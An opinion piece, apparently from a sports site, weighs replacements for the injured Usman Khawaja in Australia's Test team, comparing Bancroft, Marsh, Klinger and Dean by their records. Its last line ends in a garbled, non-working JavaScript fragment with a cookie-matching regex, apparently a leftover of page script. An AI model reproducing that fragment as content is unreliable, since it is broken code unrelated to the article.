With Usman Khawaja going down with a hamstring injury, who should replace the in form No.3?
Khawaja looked to have finally cemented his spot in the Test team in his third attempt, with two brilliant centuries in the first two Tests against New Zealand.
However, when chasing a ball to the boundary in the field on day two, he injured his hamstring.
It is a bitter blow for Khawaja, who only last year returned from a 12 month lay-off due to an ACL injury.
However, it once again opens the door for another batsman to stake his claim for a Test spot.
Western Australian Cameron Bancroft is the obvious choice and at the head of the line. The 22-year-old was chosen to play for Australia in Dave Warner's absence for the tour of Bangladesh, which was eventually cancelled due to security concerns.
The 22-year-old has a first class average of 37.63 from 26 matches, with five centuries and six half-centuries. But the more impressive figures came last season, when he enjoyed a breakout season. Bancroft scored 896 runs at an average of 47.5 in the 2014-15 Sheffield Shield season. His top score was an outstanding 211. He earned himself a call up to the Australia A squad against India A, where he scored 150 in Chennai.
He would be a great choice given his age as well, with many other candidates the wrong side of 30. Bancroft could be a long term prospect for the Australian Test team and it is the perfect time to pick him to slowly induct him into Test cricket as a short term injury replacement for Khawaja.
Another choice is veteran Shaun Marsh. However, the 32-year-old has had more than enough chances at Test level and has a average of just 33.11 in 15 Tests. His undoubted talent hasn't been enough to propel to the heights expected.
Michael Klinger is another option, but he is unlikely to be given the nod given his age. However, the selectors may pick the 35-year-old knowing that he will only play two Tests, due to the enormous amount of runs he has scored over the past few seasons and with Khawaja likely to miss only two Test matches. Klinger has a first class average of 39.66 and has smashed 14 tons in the past year alone.
Young Victorian Travis Dean probably won't be selected for Australia for a few years, but his start to his first class career has been sublime, showing that he will no doubt be a future Australian Test player. Dean made his debut for Victoria last month and became the only man in Sheffield Shield history to score a century in both innings of his Shield debut, scoring 154 not out and 109 not out against Queensland.
He followed that up with an 84 in the first innings against Western Australia, showing his round one heroics were no fluke. Is it too early now? Probably, but he is not far away and he wouldn't be the worst choice if the selectors wanted to think outside the box. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
